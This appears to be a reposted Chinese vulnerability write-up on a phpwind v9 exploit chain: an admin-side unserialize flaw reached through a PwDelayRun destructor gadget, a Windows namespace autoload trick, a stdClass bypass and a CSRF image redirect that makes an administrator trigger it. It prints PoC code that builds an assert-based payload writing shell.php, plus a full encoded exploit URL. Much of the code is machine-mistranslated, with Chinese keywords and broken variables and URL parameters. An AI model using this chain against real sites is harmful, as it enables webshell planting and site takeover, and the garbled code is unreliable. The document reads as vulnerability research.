分享

Phpwind GET型CSRF任意代码执行

发布于:2018-06-10 21:49    阅读次数:

反序列化漏洞导致代码执行。
GET型CSRF,直接插入帖子,管理员浏览后执行任意代码。

这个洞其实很有意思,最可惜的地方就是其触发位置在后台,否则它将是一个绝无仅有的好洞.0x01后台反序列化位置首先纵览整个phpwindv9,反序列化的位置很多,但基本都是从数据库里取出的,很难完全控制序列化字符串。最后,找到三处:

可恶的是,三处都在后台的Task模块下.Task模块是「任务中心」功能,只有能进入后台的用户才可以访问:

随便打开一个,src / applications / task / admin / TaskConditionMemberController.php 
类TaskConditionMemberController扩展AdminBaseController { 
    / *(非PHPdoc)
     * @see AdminBaseController :: beforeAction()
     * / 
    public function beforeAction($ handlerAdapter){ 
        parent :: beforeAction($的HandlerAdapter); 
        $ var = unserialize($ this-> getInput('var')); 
        如果(is_array($ var)){ 
            $ this-> setOutput($ var,'condition'); 
        } 
    }
beforeAction将会在实际执行Action之前执行。这里$ var = unserialize($ this-> getInput('var')),从输入中获取var参数的值,进行反序列化。这个Input可以来自get / post / cookie。我们只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞.0x02 PwDelayRun类__destruct方法全局搜一下关键词__destruct,很快找到了PwDelayRun类:
class PwDelayRun { 
    
    private static $ instance = null; 
    private $ _callback = array(); 
    private $ _args = array(); 
    私人函数__construct(){ 
    } 
    public function __destruct(){ 
        foreach($ this - > _ callback as $ key => $ value){ 
            call_user_func_array($ value,$ this - > _ args [$ key]); 
        } 
    } 
    ... 
}
可见__destruct方法,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert +任意代码了。原本是一个十分简单的漏洞,但我们在TaskConditionMemberController :: beforeAction :: unserialize里下断点,执行var_dump(get_declared_classes());退出,查看当前已经定义的类:
Array 

    [0] => stdClass 
    [1] => Exception 
    ... 
    [330] => WindMysqlPdoAdapter 
    [ 331] => WindResultSet 
    [332] => AdminUserBo 
    [333 
    ] => AdminLogService [334] => WindFile 

其中并没有PwDelayRun类。看来在反序列化的时候,并没有加载这个类,所以我即使构造了利用方法,也'造」不出PwDelayRun对象。那怎么办?0x03利用spl_autoload包含任意php文件在Joomla那个反序列化漏洞(https://**.**.**.**/PENETRATION/joomla-unserialize-code-execute-vulnerability.html)里,提到了一个方法。因为Joomla内的spl_autoload会根据类名自动加载文件,所以当时构造了一个JSimplepieFactory类对象,而factory.php中包含了import目标类的方法:

所以成功反序列化了simplepie类。回到Phpwind。同道理,我们在Phpwind中看看哪些文件包含了PwDelayRun:

静态包含PwDelayRun的就只有PwConfigService类。我在刚才获得的类里看,不幸的是,PwConfigService也没有加载。继续查找PwConfigService,并没有静态加载这个类的方法:

所以我们这个链就断了。但利用spl_autoload这个思路不能断,我们思考一下,代php框架中必然存在autoload,在反序列化的过程中发现了不存在的类「PwDelayRun」,就会直接传入注册好的spl_autoload函数中。我在/wind/Wind.php中,可以找到spl_autoload_register函数的调用:
public static function init(){ 
    self :: $ isDebug = WIND_DEBUG;
    function_exists('date_default_timezone_set')&& date_default_timezone_set('Etc / GMT + 0'); 
    self :: register(WIND_PATH,'WIND',true); 
    如果(!self :: $ _ isAutoLoad)返回; 
    if(function_exists('spl_autoload_register'))
        spl_autoload_register('Wind :: autoLoad'); 
    else 
        self :: $ _ isAutoLoad = false; 
    自:: _ loadBaseLib(); 

将Wind :: autoload注册为自动加载函数。跟进Wind :: autoLoad 
public static function autoLoad($ className,$ path =''){ 
    if($ path)
        include $ path。'' 自:: $ _扩展; 
    elseif(isset(self :: $ _ classes [$ className])){ 
        include self :: $ _ classes [$ className]。'' 自:: $ _扩展;

        包括$ className。'' 自:: $ _扩展; 

autoLoad第二个参数是没有值的,所以这里,最后会走到这一步:include $ className。'' self :: $ _ extensions ;.看到include我就有点激动,但静下心想一下发现还是有问题的。因为这里的className是没有路径的,而PwDelayRun类在src / library / utility / PwDelayRun.php文件中,我需要传入路径才可以包含到这个类。虽然类名不能包含特殊字符,但其实类名中可以包含\的:

这涉及到PHP中的命名空间的知识。学过新型框架的同学肯定对命名空间十分熟悉,所以我没必要多介绍。命名空间中可以包含\,而在窗户下,\也可以作为路径的分隔符。(由此可见,这个漏洞仅限于Windows服务器)所以这里,我可以将类名设置为src \ library \ utility \ PwDelayRun(其实就是src \ library \ utility命名空间下的PwDelayRun类),最后在Wind :: autoload里进行包含include src \ library \ utility \ PwDelayRun.php0x04利用数组+命名空间加载相同名字的类还有一个问题,我们这里将类名设置为src \ library \ utility \ PwDelayRun,而:整个phpwind全局是没有使用命名空间的,也就是默认命名空间为\,但现在的PwDelayRun类所有的命名空间为src \ library \ utility。这样,即使我包含了src \ library \ utility \ PwDelayRun.php文件,反序列化的时候是实例化的SRC \库\公用\ PwDelayRun类。但PHPWIND的命名空间是\,上下文存在 类是\ PwDelayRun类,还是无法正常进行(因为找不到src \ library \ utility \ PwDelayRun类)。我想了一下,其实也好办,只要变通一下。我们只要生成src \ library \ utility \ PwDelayRun类和\ PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象。我构造了一个POC:
// test1。 PHP 
头(“Content-Type:text / plain”); 
require_once“test2.php”;
class PwDelayRun { 
    private $ _callback; 
    私人$ _args; 
    函数__construct()
    { 
        $ this - > _ callback = [ 
            'assert' 
        ]; 
        $ this - > _ args = [ 
            [“phpinfo(); exit;”] 
        ]; 
    } 

$ obj = [ 
    new src \ library \ utility \ PwDelayRun(),
    new PwDelayRun()
]; 
echo urlencode(serialize($ obj)); 
//test2.php 
命名空间src \ library \ utility; 
class PwDelayRun { 

执行test1.php即可拿到POC对象。

将这个字符串传入var参数,结果...... 

啥事也没发生......这是什么情况?0x05利用stdClass代替数组绕过限制我们回看TaskConditionMember类,看看反序列化的那个beforeAction函数:
public function beforeAction($ handlerAdapter){ 
    parent :: beforeAction($ handlerAdapter); 
    $ var = unserialize($ this-> getInput('var')); 
    如果(is_array($ var)){ 
        $ this-> setOutput($ var,'condition'); 
    } 

后面有个判断is_array,是它在捣鬼。如果var是数组的话,就设置到output里。所以,最后该对象并没有销毁,没有销毁那么实际上就没有调用__destruct函数,所以也无法执行任意代码了。要让is_array返回false,只需序列化一个非数组对象即可。其实在php源码层,对象是用数组来来模拟的,我们只需要用一个对象代替数组即可。对象就是stdClass,我将POC改为如下即可:
// test.php 
header(“Content-Type:text / plain”); 
require_once“test2.php”; 
class PwDelayRun { 
    private $ _callback; 
    私人$ _args; 
    函数__construct()
    { 
        $ this->

        ]。
        $ this - > _ args = [ 
            [“phpinfo(); file_put_contents('shell.php',''); exit;”] 
        ]; 
    } 

$ obj = new stdClass(); 
$ obj-> a = new src \ library \ utility \ PwDelayRun(); 
$ obj-> b = new PwDelayRun(); 
echo urlencode(serialize($ obj)); 
生成序列化字符串:

传入var参数:

万事大吉,成功!管理员只需拥有后台「论坛任务」功能,即可直接执行任意代码.0x06前台利用CSRF起飞这个漏洞本是一个利用技巧很妙的漏洞,但最关键的问题是其出现在后台,利用门槛太高。但这个漏洞又有一个特点,那就是其为GET方法,只需要一个URL即可触发。所以,我们可以用类似的Discuz这个漏洞的方法:http://**.**.**.**/bugs/wooyun-2014-064886,将URL插入前台帖子的图片中:

结果...... phpwind给我把&都转义了,无法正常执行。不过没关系,只要我写一个302跳转,跳转到目标URL即可:

将这个php作为图片地址写入帖子

管理员浏览:

获得webshel​​l:

** ** ** ** / PHPWIND / admin.php的?M =任务&C = TaskConditionMember&一个=简档&VAR = O%3A8%3A%22stdClass%22%3A2%3A%7BS%3A1%3A%22A%22% 3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7DS%3A1%3A%22B%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7BS%3A21% 3A%22%00PwDelayRun%00_callback%22%装置3Ba%3A1%3A%7BI%3A0%3BS%3A6%3A%22assert%22%3B%7DS%3A17%3A%22%00PwDelayRun%00_args%22%装置3Ba%3A1% 3A%7BI%3A0%装置3Ba%3A1%3A%7BI%3A0%3BS%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D

推荐模板
查看更多

相关教程

phpwind介绍phpwind介绍

phpwind目录结构说明phpwind目录结构说明

phpwind用帖子时出现乱码的phpwind用帖子时出现乱码的

phpwind论坛关闭在线列表的phpwind论坛关闭在线列表的

phpwind的护身符道具不过期phpwind的护身符道具不过期

嘿,我来帮您!